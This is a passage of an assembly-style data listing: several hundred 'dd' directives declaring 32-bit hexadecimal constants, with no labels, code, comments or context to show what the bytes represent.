35735EBCh, 50E88307h, 58501B12h, 0A561B50Ah dd 0B900D5DBh, 0A95711A6h, 1E66EC67h, 0C015EE46h, 6D725CB0h dd 0F60E4FA1h, 0E09C4E8Dh, 0B71F9664h, 77E666h, 0B6A81A03h dd 0AFA63ED1h, 0A9B09100h, 41E56336h, 0DF850h, 599B7844h dd 0D4C7CB29h, 87F5B500h, 0E24E137h, 8C5D00D9h, 0B130094Ah dd 7077FF2Ch, 2F0020F8h, 6BB5764Bh, 1CA05D8Ah, 85FDEA3Eh dd 0B543Ah, 230EFF84h, 37006CBCh, 99A8D28Fh, 74D1EF79h dd 642100F0h, 91CF0C76h, 0C600C5BCh, 41F4CD35h, 274FAA2h dd 643E78B8h, 0AE183CAh, 4ED44073h, 4580D391h, 8890002Ah dd 0BF797F61h, 8008EF0h, 8D3377D1h, 1756444h, 23C9CCCAh dd 801B20A0h, 185BD3B0h, 184EDD8h, 257A9F14h, 50C57319h dd 89F98AD8h, 1F5C9E78h, 0E9CE01F6h, 0EF773579h, 6D8E3D8h dd 0EAFCEEA6h, 0CC008902h, 7DA80F97h, 9D95AF8h, 39A2698Fh dd 516DD380h, 0CC024916h, 87EFA6C7h, 0C89F4056h, 0BA17001Fh dd 79BDBF4h, 1B785A74h, 0D5B6CE1Ch, 220DD8C6h, 0D75938B0h dd 3932CA01h, 0EC7C77DEh, 1C01D1C6h, 0E7B20291h, 12700596h dd 0E221004Eh, 2F363AEDh, 1A0209D8h, 0B5BA9D69h, 99C4C0FAh dd 3EC98F3h, 4E38E3EEh, 0AEC07396h, 5503B15Dh, 0C399AF42h dd 9440F8C0h, 7D850EEEh, 934E6EA1h, 95FAE220h, 24B8395Fh dd 922BBF07h, 89042FA5h, 480CC8h, 23209DCBh, 0D6825D56h dd 0CA838D00h, 11780BA9h, 2D2C00DFh, 7A5EB9CDh, 0D572FCE4h dd 143E6D00h, 0CC5B84BCh, 8D651D17h, 5F9C0030h, 9F9D6A2Eh dd 408A0618h, 24671982h, 3EB43DCFh, 4DB82F0Fh, 52166F20h dd 8008B47h, 0F3E1137Ch, 54C1FBh, 0E54FE053h, 0E8E67AC6h dd 17EC4001h, 386ABE6Eh, 4CA69DD8h, 0C500B928h, 39828954h dd 0A58D2F3h, 860502BEh, 0E0AF7CD7h, 2C5DC0B1h, 43FFCA6h dd 0D0FBE319h, 342F93BCh, 1B3B4C04h, 18804455h, 180C7FFAh dd 1022A20Eh, 2F04D3E2h, 9B5B8F32h, 33308490h, 74E400A2h dd 388CC9F1h, 5A001F9Ch, 15A765A5h, 92C6449Bh, 22570740h dd 3755A4C9h, 0E6188087h, 69012DF5h, 898499D6h, 8C50E335h dd 36375D0h, 54EB4A56h, 53BAC5E0h, 4EF42C48h, 57513F84h dd 173EBA80h, 8B4619D2h, 36B62400h, 0FB2DF927h, 60F2FB75h dd 0EC1D583h, 0F6B8C860h, 9DE41C0h, 0E800CCA4h, 0E7154403h dd 0B89DE4E1h, 7E7081h, 337435D8h, 71EB93DDh, 0C1683Eh dd 0B4B55681h, 1DF7F3Bh, 0F6A80AAh, 0F0C3AF1Eh, 0F40F8DD8h dd 0A3CA30A0h, 2EF75F25h, 0DB467Ch, 860184F5h, 63004AFEh dd 0D86768BAh, 3DB350h, 925558DEh, 4415D519h, 0CBCADF28h dd 0DB17C100h dd 0F63B9EADh, 0DE451EEEh, 0D143C0A0h, 6857C4BCh, 37A7A400h dd 4CEC3F60h, 0DD1A39F4h, 28C069Fh, 1C925AF6h, 572640DFh dd 8B0C7h, 97FCF91Fh, 0E4346758h, 24E37200h, 1284E517h dd 117876h, 5DBFA1DDh, 10422C74h, 0FAF8DA00h, 2BBEF05Ah dd 6AC107FCh, 801DEBE6h, 8E769B68h, 0BA0A3700h, 0F9AE361h dd 4A80030h, 8DCB4071h, 0B50016ECh, 0AE17EAF3h, 2B16Eh dd 0E89AA96h, 0A599DC80h, 27430900h, 8C70AD56h, 0DE461EACh dd 3EAC75h, 0D212B263h, 0A4C3F51h, 87FC3D5Ch, 25306E1Bh dd 1521C450h, 80620052h, 7CD16B26h, 4D7C1E07h, 8B570C94h dd 0D084C430h, 68B52042h, 91840002h, 5327A20h, 41528D60h dd 0E9BCC110h, 9C607D1Fh, 0CC965C3Eh, 24BFB298h, 7799371Fh dd 9C8408B0h, 0E2710062h, 7FF2354Ah, 0C800BC43h, 52BAB4Eh dd 122373C9h, 92D61D40h, 20298314h, 0C9354EECh, 3DF0900Ah dd 0D603B93Ch, 7E7ABF94h, 0C456D288h, 29CC8000h, 17498F5Ah dd 46CB045Eh, 0A4FB82ADh, 0CD4A4B14h, 60D32C54h, 1FEB0EC8h dd 0F982077Ch, 504EFEBFh, 5BAED357h, 1E0A0100h, 142397F0h dd 0C2BD0020h, 0F6505F0Ch, 0AA008398h, 9BD5CC2Ah, 66F3D9h dd 795D441Bh, 0B0DBDEEAh, 3EF90900h, 0A9DBEC7h, 7C140985h dd 5780B1C6h, 0DEB58667h, 197B2800h, 0E8A6743Ah, 905900D5h dd 98AA525Ah, 0EF00B79Dh, 0FB155D83h, 0CE493Fh, 0D1B43E6Ch dd 0C766933Ch, 1BD21300h, 69C58F5Bh, 7923000Bh, 72840CB6h dd 680083A9h, 40DDC928h, 8A397Ah, 0D98E24F1h, 0FB7B38D7h dd 878854E1h, 0BC4B005Eh, 20E1FC1h, 891E7982h, 0C264A368h dd 90ED80CDh, 51AFA0A0h, 0FBB618AAh, 11AD216Eh, 7805FD00h dd 4AAB1FB2h, 987000CFh, 0D6AA1DE8h, 0D207235Dh, 6A02BC45h dd 0E63A5800h, 203415D0h, 2C01D0C0h, 46D84273h, 4B6F6027h dd 0B6084F66h, 54910021h, 0FBA22D42h, 48048C31h, 0BD08FE40h dd 45B99C40h, 0A62FABAh, 0E34E9860h, 0F9681080h, 4202DF21h dd 314F46D5h, 438C10C2h, 3BD07842h, 0E79F4CE4h, 528779B8h dd 3C3C16D2h, 0DC00CC29h, 0B5C9AA46h, 73CBA336h, 98344954h dd 0CDED9E00h, 0ECD7052Ch, 7FBFFE0Eh, 0CB7086EFh, 84C10020h dd 37A41098h, 9701E6DCh, 0C736A026h, 0D040F148h, 6789C9h dd 0B8D9668Dh, 53D268FDh, 60E9D300h, 5117C391h, 24D7016Bh dd 83D058CBh, 3749F030h, 1DE1BE0Fh, 1A3DA040h, 79F602B3h dd 3BC700EDh, 9BF14454h, 0D000D57Eh, 37520FEBh, 0E2A8D2h dd 3F86E90Ch, 0EDF2DA6Bh, 0DD80451Ch, 1F289401h, 14D45513h dd 9771D7h, 567CB6E6h, 0A10C53A7h, 0ECD3A507h, 481083B5h dd 330C9E0h, 53D069E6h, 0A9B32F0Fh, 0C761BCF8h, 0F1E13A1Ch dd 21066880h, 56E834h, 0B7D61415h, 8CD359E7h, 6D9DF100h dd 3B3C044Ch, 0CC3500E0h, 482B0522h, 2900CA8Ah, 0EA027C7h dd 0E0B42469h, 0BC8F0390h, 642F3B05h, 0CB5D2BD0h, 29C0B637h dd 6F445ED4h, 42704834h, 0A122D4C8h, 98172759h, 882A0C88h dd 9D91C651h, 824F351Dh, 2D657F73h, 0A0393740h, 6E1C8700h dd 0E2A2E027h, 3E6007A1h, 606D9FD2h, 19651EDDh, 95E5E0FFh dd 0E42AA900h, 0F71A5223h, 4FD224C9h, 721600A5h, 6479630Eh dd 0B5D5121Eh, 0BC7BC880h, 8D20C6h, 4BFE9CC7h, 38794DDAh dd 83824600h, 1CA1CB51h, 23D7BC8h, 7E628720h, 5740AA36h dd 0FA5C9DAFh, 0E1AD0EC0h, 0CE4C8071h, 0EBF259Fh, 0E37B07CBh dd 0DA1B7EE0h, 78BD5D48h, 88C400BCh, 148F9EE5h, 6E1D351Dh dd 51C27D18h, 40291F19h, 879C6Eh, 5A33C652h, 0E9096E88h dd 7642153Fh, 0A5B27E0Ch, 0BA5070h, 0F1D6BC94h, 0B14E3E4Dh dd 0F9461600h, 0E79E30AAh, 0BF4A002Eh, 0B36FFA5h, 0FEB07AEAh dd 641CCEF8h, 0D90F2344h, 0BACF5DB7h, 0C0D7A79Fh, 2830930Ah dd 8E536Ch, 0EC082833h, 712AC701h, 169E8700h, 0F5D105A4h dd 0B5B31C65h, 8730048h, 2672EBC6h, 66C4131Dh, 0D0C85300h dd 6FCDEAh, 0E6B03592h, 0A483DC58h, 0A1384002h, 0E078C0C3h dd 54CF7Dh, 39EA978Fh, 425BA9DEh, 0A1595307h, 4A8696D1h dd 88A0368h, 3ECC1070h, 0C6196198h, 5E020EF4h, 43F2F07Ah dd 1EAE363h, 0D5E3A548h, 0DBD0AFFFh, 6FBBC2F0h, 44560A00h dd 0B8F3E8AAh, 0DDF00A37h, 0A82CDAh, 89456224h, 2E00CD54h dd 0EAB05E0Dh, 2CC71366h, 434BA5h, 285C83CFh, 0A005185h dd 17D30814h, 527E81h, 92DC026Ch, 0BCEE10F3h, 822E6300h dd 11688873h, 3CF61Ch, 0F329370h, 0DC480E7Ch, 80608C3Eh dd 4E015CC0h, 0B8E64585h, 34290028h, 5B7BD452h, 0CC0FE23Eh dd 80BFAD1Ch, 353211C5h, 0B0B6002Bh, 219D0BEFh, 503ACD03h dd 0D40E0092h, 4223A04Eh, 95B2008Ah, 2C10C2D9h, 91001856h dd 9CC14B96h, 1C16640Ah, 0E4D6AC93h, 0CA05000Ch, 4D0D9558h dd 850B2B06h, 119D9Bh, 8E860E2Eh, 4308DC2Ch, 89DA6E1Fh dd 0E48A1CC0h, 12B826Fh, 38C1B4Eh, 20F818F0h, 117BE3E9h dd 1AF13Ah, 5BCDB28Eh, 0CCB177h, 0C28B510Dh, 7AB0BCEDh dd 0E4D62F00h, 3793E3A2h, 16DD0033h, 605AF3FDh, 91002136h dd 4BBEFF7h, 97ECC0h, 9CFDB5B2h, 0D1784C3Dh, 59B02E01h dd 5F9F527Ah, 4804D8h, 1809A5F2h, 8DC64D57h, 84B31001h dd 8B16332Ah, 0C9DCCDD1h, 0FEAC0062h, 78AB757Ah, 8E006ECEh dd 0B2720FF8h, 608F12EDh, 7AC1A495h, 0CAE2E787h, 0F1DB8202h dd 0C0A37014h, 3CF894Bh, 0E0B5AB7Fh, 0A0A08158h, 0E900EA4Dh dd 0FE44E580h, 9BA7D6h, 31DE59F7h, 4D89A0A8h, 0C6D37F00h dd 44F88222h, 716400E9h, 0B43C4CBBh, 2D015655h, 0F4B5728h dd 94402B34h, 412CEFh, 5D648A2Ah, 0FCDAF51Bh, 206E1D0Eh dd 0CE61A524h, 256CF601h, 94418FB7h, 17607659h, 0E7D607DCh dd 207865A8h, 0F1A4E8DBh, 66682262h, 4085E2D4h, 59C5DABh dd 1DE32E3h, 2880FAFAh, 1D7735B0h, 49FB04DBh, 0AC80486Bh dd 634AA502h, 8365763Ah, 7CB503E6h, 6060A714h, 2664948Ch dd 60BC5F28h, 399720E0h, 5D4CB8B8h, 0F8AF29BCh, 0CE108E18h dd 0A440021Ch, 1DAA9EF2h, 0D728E8A0h, 18744E1Ah, 6C49CB00h dd 1BA03F1Ch, 4B040029h, 820131B4h, 0D036F9Dh, 7424689Bh dd 6C9CC02Fh, 0C6725EB0h, 0FF0030F4h, 5D7B8948h, 3A432Bh dd 0B82FA7F1h, 27A85071h, 52D6E613h, 4265480Eh, 608E1AE3h dd 267A5BC8h, 0DB780Eh, 0E97326CFh, 0E80E030Fh, 2231BD1Bh dd 6046CC69h, 0F0B254h, 0A5607C47h, 6A8C5667h, 62752972h dd 0F4B06D07h, 0C5A0BBD8h, 2483FADBh, 986684h, 7145158h dd 0FF48A34Ch, 0A8770080h, 36E083EEh, 0D20402BEh, 0C63B5686h dd 0D19BDC60h, 0A538240Eh, 73498066h, 4CDA922Ch, 210A98B1h dd 80B4C75Ch, 884C3210h, 0A24808D0h, 938900BCh, 0F6EE84A0h dd 0C2CE0082h, 39140660h, 2F00ECC3h, 0E2CBB1Bh, 4C5691AFh dd 8E004C9Ch, 0DFA0AC9Eh, 27FC825Fh, 7787AB01h, 0A396CCB9h dd 86DADCh, 68E36B20h, 41368B0Dh, 0CCE5D00h, 76773C7Ah dd 0C5D700AFh, 0F0A96F7Eh, 8D00EE19h, 0D9A62F86h, 380B21Ch dd 1EA43924h, 62D2205Eh, 304F4D61h, 0F3164924h, 3C005BE6h dd 8D10AF31h, 0FF3801B4h, 9ABC9120h, 0D13B3075h, 3ED5C903h dd 0E04BF806h, 2BFD97h, 5BFF5765h, 615C0388h, 801DBA38h dd 38DCE321h, 280CB899h, 38E03C56h, 5D009A80h, 1DBBD073h dd 60B0D414h, 0F7503Fh dd 3279C675h, 1E1CC33Eh, 7278619h, 0F24EE73Fh, 0DD60A9B0h dd 34075047h, 0C589A141h, 6A9F4350h, 3E0A00A4h, 0CC920170h dd 77737678h, 5A001898h, 63B51935h, 3A71C42h, 0E03913C3h dd 8EB05585h, 0F801D33Dh, 1E3C96C1h, 0E9EF491Dh, 0F4208033h dd 0FD220265h, 8BF021ACh, 0C01EC461h, 0CB0EB920h, 24420585h dd 0C0BF8102h, 0FD414E12h, 0BAC67E0Fh, 35462170h, 0C3C88AC9h dd 16FA047Fh, 8054F269h, 0A41236F4h, 1CE46449h, 0C640AB91h dd 0FCF4BC87h, 5A830086h, 99F90CA6h, 1D006B70h, 0FB125358h dd 5CC0E9B3h, 0B705446Eh, 800E3B2Ch, 1A7A609Fh, 50169702h dd 60135ECDh, 21B4BCh, 0A34A0BC3h, 0B8BBE171h, 23B63Ch dd 8041ACC9h, 8906C0h, 6D044B61h, 0EF9FC7B9h, 1DA09490h dd 0DFC4938h, 844B8D1Dh, 0E187B7DEh, 0AF90DA64h, 151D68h dd 0BE882A98h, 0B63A20A5h, 1F580B00h, 9ED03173h, 135A7E4Dh dd 299C35h, 0CBE46777h, 2B002C4Bh, 24D4D375h, 0EE3E077Ah dd 0EC0D00A3h, 0A921DC7h, 4CB2119Bh, 4CF83C24h, 753612B8h dd 639CC20Eh, 0C04F02A1h, 369604Eh, 65894D33h, 7EC0D793h dd 63059CAAh, 1AC91195h, 3D2020C7h, 60A32C38h, 3B03588Ah dd 0CF3DD489h, 2F5202E2h, 0E00DB935h, 0B1701BB6h, 0C75708ACh dd 0F486B038h, 3BFC3362h, 2F1D388Ah, 9A5580D2h, 0CC1E73CBh dd 0F61FF277h, 0BB4BEE49h, 5681DFF8h, 8B579E22h, 50F9D1h dd 48317B7Fh, 8204004Fh, 7877EC4h, 0F61F4152h, 32CBC653h dd 0B154A0BDh, 7F9243h, 11195B2Ch, 18960EA2h, 1A667E0Eh dd 52E955h, 69C7222Ch, 68940F56h, 642016D9h, 0F776AAF9h dd 866E1902h, 80126F84h, 0F48AB5F0h, 38891670h, 0D2720053h dd 52AF567Fh, 6803ED07h, 0E9009198h, 74CC8F6h, 4177532Ah dd 0F20E2095h, 8801D77Fh, 5126BE61h, 0CFFC112Dh, 1E719Ch dd 1DA26220h, 0DCC8E516h, 0E100BBFAh, 5B4845BDh, 175CED51h dd 0BED28Ch, 55068178h, 650020B5h, 0CD4E7769h, 1BC6B53h dd 0D13456F2h, 0E6A4B25Eh, 799BDCA0h, 0A0245CCEh, 2601E4BCh dd 1F7A9553h, 0B26030h, 5BFDFFBBh, 0B11C60DCh, 8C249314h dd 0C0230084h, 44A4796Dh, 3FA11E46h, 0BA65C389h, 0ABD8979Ch dd 20047224h, 66AFD380h, 0DEB07097h, 3EA0CB38h, 0BB00074Bh dd 56B38499h, 780079B5h, 93DC42E0h, 0FE600Bh, 40AD1AF3h dd 0CD220FEBh, 0D42B6B02h, 0D4309259h, 0D812B2h, 6A6911ECh dd 5300E841h, 0A67C2ECDh, 66EB44h, 61933213h, 2835821Ah dd 0A92F0200h, 0FED1DA99h, 0CBE247h, 0AFE3DF84h, 6B5152E2h dd 0B1A7F303h, 805D7270h, 0D44564h, 0D5085AFBh, 6D6341DEh dd 55FE3401h, 875921D0h, 2B1CE0h, 6648586Bh, 383A54F5h dd 2644864Ch, 6F0056A8h, 0F1E5CA7Ch, 0F9420070h, 4F501096h dd 0CF00BFDAh, 6BEED2D1h, 0C71425h, 659A7C78h, 33940445h dd 0F2165900h, 30D73236h, 71490002h, 134A9ECFh, 860F4C58h dd 0A0D80C52h, 0B0A3CE73h, 3ADB016Ch, 0D8F49AAh, 61E5CC99h dd 0BF007F7Dh, 0B1A9EF01h, 69C550h, 34DD0C81h, 4A22169Ch dd 0DB80FF00h, 9F69E41h, 436A01AEh, 0DE4C740Ah, 1CD6809Ah dd 1DFD3142h, 92783859h, 14C29381h, 0F8FF0970h, 60002A9Ch dd 8A06DB79h, 6102B8h, 0FBA3DCF3h, 0C0746DCDh, 0C4446F00h dd 0B545FABBh, 0CC5A0038h, 2F995376h, 13176B15h, 1445FF05h dd 44D5C3A0h, 0E0AAF0C2h, 3B98594h, 50901E2Ah, 0E1DAF428h dd 3AA85560h, 1BF8EB2Ch, 0B4C6A400h, 0B5C48Fh, 0A06C721Ah dd 9CF2F777h, 0C118C003h, 0E8CB83A5h, 17D43F22h, 0FC505AFh dd 6080EC4Dh, 84DF0136h, 24D72D00h, 19B0BE81h, 0A1AC0003h dd 1CB6DEC1h, 0B54CA607h, 657004E8h, 58D06A04h, 107EB3h dd 42751E6Eh, 14BC958Ah, 4C5C98B2h, 0C7081ED8h, 10523240h dd 2F977Fh, 0D4505A05h, 1B1A5BDh, 0F0C056DFh, 7F8BA75Eh dd 22C1012Eh, 0AF299B1Bh, 8EAD40DBh, 1AE22BF4h, 0E023F000h dd 1F25F25Ah, 54734CEEh, 0C34B1600h, 0CB603CAFh, 8AD7B400h dd 0A5997069h, 48B63CFFh, 0ED00426h, 80B2E7DAh, 0EF7B9A74h dd 0E9723D09h, 5BD880A0h, 17E8A26h, 2797DB4Ch, 0FE21FE37h dd 3449F4E0h, 82DFDD0Ch, 4CB250D5h, 26929C05h, 0CE025994h dd 0B7CAB317h, 73C4C06Dh, 5FDB00F1h, 78AA5D2Dh, 0C200E5E9h dd 0CC118A4Bh, 1ECADF2Fh, 869A4DF3h, 60B3BDBEh, 64BC5F00h dd 11ABE969h, 0A26C01E3h, 0A5E56568h, 0A372ECD7h, 0DA6E6700h dd 0BAACB8A6h, 145FA12h, 64708707h, 0C411F710h, 3E007CADh dd 0DA2C52F9h, 24E906CAh, 7DD6F2h, 9F467BAFh, 0A5090B82h dd 0B72DFAh, 0ABE1123Ch, 0F33E099Eh, 10800825h, 0F9B33F30h dd 6C71DA00h, 0E63946B0h, 8E449h, 7C978B50h, 0A323BC92h dd 2E4271Eh, 8D683880h, 20C6B2h, 64037961h, 348CA6F8h dd 19732124h, 87D1FF02h, 48D4609Bh, 8F632h, 3E3646C5h dd 0A6EB9A96h, 236CD400h, 58E6AD3Bh, 640F4CD8h, 39F09204h dd 3750C89Bh, 480DA400h, 0CC1B8F0Eh, 278E742Eh, 64006AEEh dd 0EA24D2C1h, 0BE42C303h, 0D019E404h, 4D14452h, 0F455930h dd 1AA8F07Fh, 0F290F754h, 8907C09h, 0BB1800A8h, 6A302Ch dd 76B857EAh, 4496A29Bh, 2FB5F700h, 0F4744821h, 846F0F3Ch dd 4727088Bh, 700E1086h, 0EA77B3FCh, 352E9474h, 6C266D67h dd 0BB152800h, 9CB1B25h, 179FC82Dh, 0FA00240Fh, 79774E34h dd 0A350AD7Eh, 5B0150AAh, 5F55D5DBh, 5470EFCFh, 0F186004Bh dd 1AD9F90h, 0E700C680h, 0BA405C94h, 72D528h, 0B2701D43h dd 0B3E06C1h, 0E482922Ch, 0AF0B1C1Ch, 0E4AB80F2h, 0C45E4Fh dd 0AC35186Eh, 32844E6h, 1A00A9FEh, 41427CE1h, 800426h dd 0F9ACA1CCh, 10CEAA8Ah, 0B114A073h, 2E48C9Fh, 1FB7F8E1h dd 77E360B4h, 0BBA01C2Ch, 1F7FD713h, 7CB54FA1h, 0F41BFB60h dd 0E47C347Ah, 64A6FA00h, 40287183h, 9FFD0068h, 2E824D93h dd 58B84A76h, 92DDCA0Fh, 0A0831364h, 875DC1F0h, 88CCF871h dd 62CD0044h, 0C57D95ACh, 6F00B7EEh, 2235D12Dh, 20F5E1h dd 0B05E6BAEh, 0B6071630h, 214B8B12h, 199AD400h, 0B08D43BBh dd 92A304BCh, 0C2623756h, 50E035A2h, 4C003CF1h, 0C6198F09h dd 267A1D28h, 105B56h, 3FD72FD3h, 9D098942h, 0A0FC0EB8h dd 29D44314h, 320209D1h, 0FC018E92h, 0D82BB862h, 0DAF63D69h dd 0CDC727h, 71C885B4h, 861300FAh, 0FB0E12EBh, 1D029E7Eh dd 18285A7Bh, 6B346889h, 0FD22F26Ah, 0B51000F3h, 0E944D676h dd 5C038602h, 77A324B3h, 0C02FD9EAh, 1C878070h, 80587AAAh dd 0BC949BFDh, 3A0066E3h, 0B6E5B826h, 3B5E508Eh, 77FCBAh dd 1D888A63h, 29E23821h, 0DB576607h, 3D109B62h, 1EDDC6BAh dd 0C10E85A0h, 0C5D927E1h, 59E0D3D3h, 0E23CEE9Ch, 97A78573h dd 948407E6h, 0C02BC3C2h, 0ECA194h, 0E02D444h, 0BECB1AA0h dd 706D98A8h, 3D2A4500h, 0E58D54Bh, 95E40062h, 5B9B4D92h dd 0E5008D04h, 1D7C7F52h, 3845D71h, 0FDBDF290h, 110075E0h dd 76AEBCF5h, 4C406435h, 100957Eh, 0E489C54Ah, 17050FCDh dd 0F5DB4D63h, 0B6004CE3h, 461C5B7h, 0FF004B52h, 0B40C9E6Eh dd 1C8C25D9h, 409F1B44h, 3A4D58F5h, 1D03EE1Ah, 230CBA5Ch dd 0A5C7A828h, 0ADD902A9h, 843BF191h, 962960F5h, 0D695006Ch dd 167EB11h, 0AE00CB3Dh, 4955DCB2h, 3A9FAh, 0EA3348D1h dd 84E0A243h, 1CDFB400h dd 9EAE68C2h, 25B50028h, 0C67041E1h, 7A005A01h, 4CA22DDAh dd 9E9E53Dh, 0E230B273h, 61C0418Fh, 5F9BAFFFh, 0A860ECB8h dd 0BC08C229h, 632A3ED9h, 0DCD28400h, 0CD908132h, 76876C00h dd 64684D20h, 2EAC009Ch, 2666FF96h, 2F4C83B2h, 6750000Fh dd 0B9106A53h, 59B6642Bh, 0CBC5F8h, 317A9063h, 0ABE24037h dd 6226E501h, 154FD2Ch, 48008868h, 3D6C027Bh, 2D007ACEh dd 0C140F617h, 0D13320h, 4EB2AAFAh, 0D3062C74h, 869EFE00h dd 9B67A54h, 0F051075Dh, 81ECE581h, 715F5CDEh, 0BAB0E03Eh dd 0AE5E2F01h, 0B2F3C50Eh, 0B62824h, 0F728C84Dh, 0D16E153Ch dd 22CE7401h, 0A61BC711h, 298A9086h, 0FE002009h, 0A50274D2h dd 40AA90D1h, 55780F62h, 0EFF1F70Fh, 61274353h, 0ECD6F0FEh dd 47CF2639h, 3870F32h, 22FD5C0h, 91189FE9h, 5415DA7h dd 5EB900D3h, 0A72B307h, 0A1C0B13Eh, 25BE3DAEh, 52EF0176h dd 0C72D137h, 8FD731E6h, 626E7C30h, 3CF52Ch, 0A757B9B5h dd 0BE443800h, 5DFD0DCEh, 0F1BFE07Bh, 0D39CF8h, 80558CC8h dd 3B05351Eh, 0EDF8138h, 0E074B1E8h, 0D4B70114h, 3FEA9Fh dd 4D6A5FDAh, 6F570755h, 0FAFB1A00h, 0C1CF2703h, 14AA0086h dd 0A030C0CCh, 0F000413Dh, 0CAF1D0B3h, 1FDC64D3h, 1E9D74C2h dd 0C0865D5Bh, 0CB8797B9h, 4DECA85Dh, 800D2E3Ah, 42353284h dd 9B5F83h, 74B32876h, 0BEC0E010h, 855CE239h, 0C4A7362h dd 0A86DA080h, 0B81E7D44h, 86F700ECh, 4A05603Fh, 9600BDF5h dd 83441073h, 48F032h, 5C08DC37h, 5E8F0A85h, 9EED9300h dd 47F73462h, 4D36006Ah, 0A779356Eh, 20B40F8h, 40BA0E72h dd 638964h, 460C5791h, 9D937F59h, 986B941Eh, 8571A380h dd 649666h, 0AD1D2D63h, 6814217Eh, 29DCCE0Eh, 0A028E0E4h dd 5ABA7E5h, 5B55EA54h, 0D258804Eh, 30989A75h, 4C59060Bh dd 85FD00F2h, 7C1FEFBFh, 0CFC0B8Bh, 0BC80B50Fh, 0FFCE5574h dd 43D3830Bh, 0BFAD80FBh, 3F0182F0h, 0E7D83BDCh, 25530600h dd 0BC95C220h, 0CA0D6C05h, 20903F41h, 9A5CFFD5h, 34A900FCh dd 0D3F53AB4h, 0DE0281DDh, 0F8BF2E02h, 84836023h, 0F3CE006Dh dd 0D76B7EDCh, 0DF0050F0h, 0E87007CAh, 14E477CDh, 0C9144320h dd 0B5809E3Ch, 561EE267h, 5E0028C7h, 2CFDD009h, 5CE758h dd 0CFD773E4h, 45D20E65h, 0D6C1B300h, 0C48316E9h, 4A7D3869h dd 0D0ADEF80h, 19936D35h, 0C0910EEh, 0B02D6Eh, 0AA950F88h dd 97E538B5h, 0D45BE60Bh, 3E77A060h, 4E684900h, 8EFBEA2Ch dd 23160083h, 7291FC08h, 0B0076C70h, 775E5DE0h, 0B3171AA0h dd 0DFD13962h, 9BB60C9Ch, 68015CF2h, 0BA187EACh, 9C409E11h dd 56B02C4h, 3FEA0DFCh, 0D024D081h, 1E5E774Dh, 0A4FB7400h dd 0F59C06h, 19BA937Ah, 2CF3109Bh, 5A81AA12h, 18300E00h dd 3BB4DCC0h, 6804363h, 9CC5A967h, 3F01116Ch, 4213C83Ah dd 0F07839EBh, 87FC0200h, 0EE3EE9F4h, 0D5C46B00h, 634656E5h dd 212F0776h, 110418h, 0FE9EB93h, 9950B260h, 0A6E27Ch dd 0BA851B17h, 686F66A5h, 7DD21C00h, 0C93D3E2Fh, 0B05600A4h dd 3477D94Ch, 5A0E7524h, 0C08CF331h, 6C5C7C53h, 5742Fh dd 0EA3B1428h, 61205792h, 0B0E41F2Eh, 17319500h, 337765Ch dd 978656B7h, 63E84F40h, 0B4EC74BCh, 7B03C800h, 86470A48h dd 0D2500ED3h, 1780310Fh, 0A3AE74DAh, 0F619C100h, 0DEDDE43Fh dd 0D5872609h, 0F3D08068h, 2FDAD776h, 8E6EC200h, 0DCED42ADh dd 7370F12Dh, 1CC00F6h, 0D4D04D88h, 2301B8E0h, 9B5EAE11h dd 0A92060A8h, 971B006Dh, 8BADE3B2h, 7C1D6AC8h, 0BBC0460Bh dd 59B088FAh, 1D20058h, 4DA61A11h, 0CA3FB57Ch, 472D8105h dd 0C29E3F82h, 0E9A424h, 0BD89917Bh, 1F198DDBh, 41558BDh dd 90C1774h, 0E9249168h, 4728708Bh, 0DB640D00h, 458C5706h dd 6B3B0033h, 5DDE1B1Ah, 76000A23h, 84944AD8h, 145738A5h dd 88F3499Eh, 0D780AB3Ah, 8678FA50h, 9F002559h, 6AF70718h dd 0A16DCE63h, 0A0C351E1h, 2736BBD1h, 6C00826Eh, 2F6303B2h dd 0F2C6601h, 0AFDFEEFBh, 7C7B1034h, 9C0B00BAh, 874AAB1Ch dd 0A650CCACh, 3E9825A5h, 9200349Ch, 439F9D9Eh, 0EEB100EFh dd 0BCEDD58Eh, 830F6ADFh, 416732Ah, 0AA80DA90h, 1E7B2Eh dd 0F30740B9h, 47399A5Ah, 0B265950Fh, 342740A6h, 3EA5BDCAh dd 0E300DAE5h, 0F8D30931h, 300017ECh, 5344AE03h, 0AA858Ah dd 69811BFh, 0BD19921Ch, 0C2BBB600h, 66ABE8F9h, 918E00C9h dd 0C7620899h, 0AF0047D3h, 1B94584Fh, 1C8FF04h, 0BB9845F9h dd 0E5524662h, 0BEA9DC5Ah, 24CACDFFh, 0F83A7630h, 32068010h dd 68537C2Bh, 862A0019h, 0AAE0096Fh, 0D006746h, 0C489FEDAh dd 0FBB20C2h, 0B406B8D3h, 0BE2D3821h, 0E0D0F5FCh, 8E007BC1h dd 3AE6FDFAh, 7E46EFB0h, 0C0D3CEAh, 0FC58CF00h, 13AF68D9h dd 0C8AEC524h, 84D12280h, 1C31276Eh, 0C53E6761h, 0BCC5F6B3h dd 0E8172A98h, 4C7FEB00h, 0C0804DDDh, 1EA8C369h, 23B83F8Dh dd 0C904A203h, 0AEBBD840h, 26A35480h, 85CF180Ah, 171D10ABh dd 564E1518h, 0E4692521h, 9D101D94h, 7387000Ah, 3505C2A7h dd 4C752D13h, 2585C800h, 9C54521Bh, 0E6CE0380h, 3AE8608Bh dd 0A97DDFEBh, 0F1C09899h, 0A73962h, 9378093Ah, 5D1135BCh dd 9C68C628h, 46B7A00h, 378682B8h, 53A400CDh, 329317D1h dd 2090FA44h, 71F0D8ECh, 0A1756C06h, 2190D8Eh, 8F9EC2F1h dd 0F4E32E91h, 3DC842F8h, 8421DD60h, 32D188h, 0DEBA6376h dd 9FCBFF61h, 2329F100h, 7FC7D365h, 44140013h, 87F451FCh dd 97009EE3h, 0F594309Dh, 5C59D2h, 827A066Dh, 770A1E0Eh dd 75A33600h, 0B221C685h, 0D1C30009h, 0C02B1D59h, 341F35DEh dd 0C5C32542h, 1639EFB9h, 1268610h, 84A9CD44h, 0E4C602Eh dd 0C18AAE50h, 8114090Ch, 71548DCh, 56E9E239h, 0C8B6C097h dd 6E48A8BCh, 2425004Dh, 68D20B8Bh, 4A30742h, 1E5B45h dd 89FB4B0Eh, 0AAAC1600h, 21B34CAh, 53A90046h, 98D9E643h dd 0A8744C7Eh, 0BECD8503h, 0E52FBFD3h, 4A03580h, 4D12242Bh dd 8050539h, 7C4A8099h, 0EC008AFCh, 62CBF4D0h, 1C7FBA11h dd 0D4AC23h, 46BD02D8h, 9A001C86h, 6904101Eh, 1213DFBFh dd 417409B8h, 4BE20E08h, 3FB000C5h, 5325006Fh, 1ABCCF7Fh dd 0EC070B3Ch, 677D9186h, 42581960h, 0D59B008Ah, 